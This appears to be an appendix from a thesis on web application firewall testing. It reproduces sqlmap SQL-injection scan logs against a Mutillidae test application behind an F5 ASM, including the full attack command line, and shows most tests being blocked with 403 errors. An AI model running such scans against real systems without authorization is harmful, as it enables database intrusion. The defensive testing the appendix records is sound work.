[09:41:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[09:41:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:41:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[09:41:19] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[09:41:20] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[09:41:26] [INFO] testing '‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:41:27] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)"

[09:41:28] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[09:41:33] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[09:41:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[09:41:39] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[09:41:39] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[09:41:39] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[09:41:39] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[09:41:39] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[09:41:39] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[09:41:40] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[09:41:40] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[09:41:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[09:41:42] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[09:41:43] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)’
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[09:41:43] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[09:41:49] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[09:41:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[09:42:08] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[09:42:23] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'

[09:42:33] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[09:42:44] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'

[09:42:54] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[09:43:05] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'

[09:43:17] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[09:43:27] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'

[09:43:37] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[09:43:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[09:43:57] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[09:44:09] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[09:44:20] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[09:44:30] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[09:44:41] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[09:44:50] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[09:44:59] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[09:45:13] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[09:45:27] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[09:45:46] [WARNING] POST parameter 'password' is not injectable

[09:45:46] [INFO] testing if POST parameter 'user-info-php-submit-button' is dynamic
[09:45:47] [WARNING] POST parameter 'user-info-php-submit-button' appears to be
not dynamic

[09:45:47] [WARNING] heuristic test shows that POST parameter 'user-info-php-
submit-button' might not be injectable

[09:45:47] [INFO] testing for SQL injection on POST parameter 'user-info-php-submit-
button'

[09:45:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:45:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:45:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[09:45:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:46:02] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:46:09] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[09:46:17] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[09:46:19] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'
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[09:46:19] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'

[09:46:19] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[09:46:19] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[09:46:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[09:46:19] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[09:46:20] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[09:46:20] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[09:46:20] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:46:20] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:46:20] [INFO] testing 'MySQL stacked conditional-error blind queries'

[09:46:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[09:46:22] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:46:23] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[09:46:24] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[09:46:25] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[09:46:31] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:46:32] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[09:46:33] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[09:46:39] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[09:46:45] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace’

[09:46:45] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[09:46:45] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[09:46:45] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[09:46:45] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[09:46:45] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[09:46:45] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[09:46:46] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[09:46:46] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[09:46:47] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[09:46:48] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
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[09:46:49] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)'

[09:46:50] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[09:46:57] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[09:47:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[09:47:17] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[09:47:29] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'
[09:47:40] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[09:47:50] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'
[09:48:00] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[09:48:14] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'
[09:48:27] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[09:48:38] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'
[09:48:48] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[09:48:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[09:49:09] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[09:49:19] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[09:49:29] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[09:49:38] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[09:49:47] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[09:49:57] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[09:50:09] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[09:50:24] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[09:50:36] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[09:50:47] [WARNING] POST parameter 'user-info-php-submit-button' is not
injectable

[09:50:48] [INFO] testing if GET parameter 'page' is dynamic

[09:50:48] [INFO] confirming that GET parameter 'page' is dynamic

[09:50:48] [INFO] GET parameter 'page' is dynamic

[09:50:48] [WARNING] heuristic test shows that GET parameter 'page' might not be
injectable

[09:50:48] [INFO] testing for SQL injection on GET parameter 'page’

[09:50:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:50:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:50:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[09:50:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:50:58] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:51:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[09:51:15] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'
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[09:51:17] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[09:51:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'

[09:51:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[09:51:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[09:51:17] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[09:51:17] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[09:51:17] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[09:51:17] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[09:51:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:51:18] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:51:18] [INFO] testing 'MySQL stacked conditional-error blind queries'

[09:51:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[09:51:20] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:51:21] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[09:51:22] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[09:51:23] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[09:51:28] [INFO] testing '‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:51:29] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[09:51:30] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[09:51:35] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[09:51:40] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace’

[09:51:40] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[09:51:40] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[09:51:40] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[09:51:40] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[09:51:40] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[09:51:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[09:51:40] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[09:51:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
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[09:51:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[09:51:43] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[09:51:43] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)'

[09:51:44] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[09:51:50] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[09:51:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[09:52:07] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[09:52:18] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'
[09:52:28] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[09:52:36] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'
[09:52:45] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[09:52:55] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'
[09:53:05] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[09:53:16] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'
[09:53:26] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[09:53:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[09:53:47] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[09:53:57] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[09:54:09] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[09:54:25] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[09:54:35] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[09:54:45] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[09:54:54] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[09:55:06] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[09:55:20] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[09:55:35] [WARNING] GET parameter 'page' is not injectable

[09:55:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[09:55:35] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
[09:55:35] [WARNING] User-Agent parameter 'User-Agent' appears to be not
dynamic

[09:55:35] [WARNING] heuristic test shows that User-Agent parameter 'User-Agent'
might not be injectable

[09:55:35] [INFO] testing for SQL injection on User-Agent parameter 'User-Agent'
[09:55:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:55:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:55:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[09:55:43] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:55:51] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:55:59] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'
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[09:56:06] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[09:56:08] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[09:56:08] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'

[09:56:08] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[09:56:08] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[09:56:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[09:56:08] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[09:56:09] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[09:56:09] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[09:56:09] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:56:09] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:56:09] [INFO] testing 'MySQL stacked conditional-error blind queries'

[09:56:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[09:56:12] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:56:12] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[09:56:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[09:56:15] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[09:56:24] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:56:25] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[09:56:26] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[09:56:32] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[09:56:38] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace’

[09:56:38] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[09:56:38] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[09:56:38] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[09:56:38] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[09:56:38] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[09:56:38] [INFO] testing '‘MySQL > 5.0.11 stacked queries'
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[09:56:39] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[09:56:40] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[09:56:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[09:56:42] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[09:56:43] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)’

[09:56:45] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[09:56:53] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[09:57:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[09:57:16] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[09:57:30] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'

[09:57:42] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[09:57:55] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'

[09:58:08] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[09:58:21] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'

[09:58:33] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[09:58:43] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'

[09:58:53] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[09:59:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[09:59:21] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[09:59:33] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[09:59:43] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[09:59:53] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[10:00:06] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[10:00:22] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[10:00:39] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[10:00:56] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[10:01:12] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[10:01:24] [WARNING] User-Agent parameter 'User-Agent' is not injectable
[10:01:24] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic

[10:01:25] [WARNING] Cookie parameter 'PHPSESSID' appears to be not dynamic
[10:01:25] [WARNING] heuristic test shows that Cookie parameter 'PHPSESSID' might
not be injectable

[10:01:25] [INFO] testing for SQL injection on Cookie parameter 'PHPSESSID'
[10:01:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:01:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[10:01:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[10:01:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[10:01:36] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[10:01:42] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'
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[10:01:49] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[10:01:51] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[10:01:51] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'

[10:01:51] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[10:01:51] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[10:01:51] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[10:01:51] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[10:01:51] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[10:01:51] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[10:01:51] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[10:01:51] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[10:01:51] [INFO] testing 'MySQL stacked conditional-error blind queries'

[10:01:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:01:54] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[10:01:54] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[10:01:55] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[10:01:56] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[10:02:02] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[10:02:03] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[10:02:04] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[10:02:11] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[10:02:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace’

[10:02:17] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[10:02:17] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[10:02:17] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[10:02:17] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[10:02:17] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[10:02:17] [INFO] testing '‘MySQL > 5.0.11 stacked queries'
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[10:02:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[10:02:19] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[10:02:20] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[10:02:21] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[10:02:22] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)’

[10:02:23] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[10:02:30] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[10:02:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[10:02:48] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[10:02:59] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'

[10:03:13] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[10:03:26] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'

[10:03:37] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[10:03:47] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'

[10:03:58] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[10:04:12] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'

[10:04:25] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[10:04:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[10:04:46] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[10:04:56] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[10:05:07] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[10:05:23] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[10:05:38] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[10:05:49] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[10:06:00] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[10:06:16] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[10:06:29] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[10:06:40] [WARNING] Cookie parameter 'PHPSESSID' is not injectable

[10:06:40] [CRITICAL] all parameters appear to be not injectable. Also, you can try to
rerun by providing either a valid --string or a valid --regexp, refer to the user's manual
for details

[10:06:40] [WARNING] HTTP error codes detected during testing:

403 (Forbidden) - 58001 times

[*] shutting down at 10:06:40
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Liite 5 Sglmap-hyodkkaysloki F5 ASM

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
http://xxx.xxx.xxx.xxx/mutillidae/index.php?page=user-info.php --dbms mysq| --
data="username=&password=&user-info-php-submit-
button=View+Account+Details" --threads 10 --user-agent="Mozilla/5.0 (X11; Linux
i686; rv:14.0) Gecko/20100101 Firefox/14.0.1" --level 5 --risk 5 --
cookie="PHPSESSID=paeqg4qalkf17sbqi53id73vse6"

sglmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable local, state
and federal laws. Authors assume no liability and are not responsible for any misuse
or damage caused by this program

[*] starting at 15:06:37

[15:06:38] [INFO] testing connection to the target url

[15:06:38] [INFO] heuristics detected web page charset 'ascii'

[15:06:38] [INFO] testing if the url is stable, wait a few seconds

[15:06:39] [INFO] url is stable

[15:06:39] [INFO] testing if POST parameter 'username’ is dynamic

[15:06:40] [WARNING] POST parameter 'username’' appears to be not dynamic
[15:06:40] [WARNING] reflective value(s) found and filtering out

[15:06:40] [WARNING] heuristic test shows that POST parameter 'username' might
not be injectable

[15:06:40] [INFO] testing for SQL injection on POST parameter 'username’
[15:06:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:06:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:06:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:06:46] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[15:06:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:06:58] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:07:04] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[15:07:05] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[15:07:05] [INFO] testing '‘MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'
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[15:07:06] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[15:07:06] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[15:07:06] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[15:07:06] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

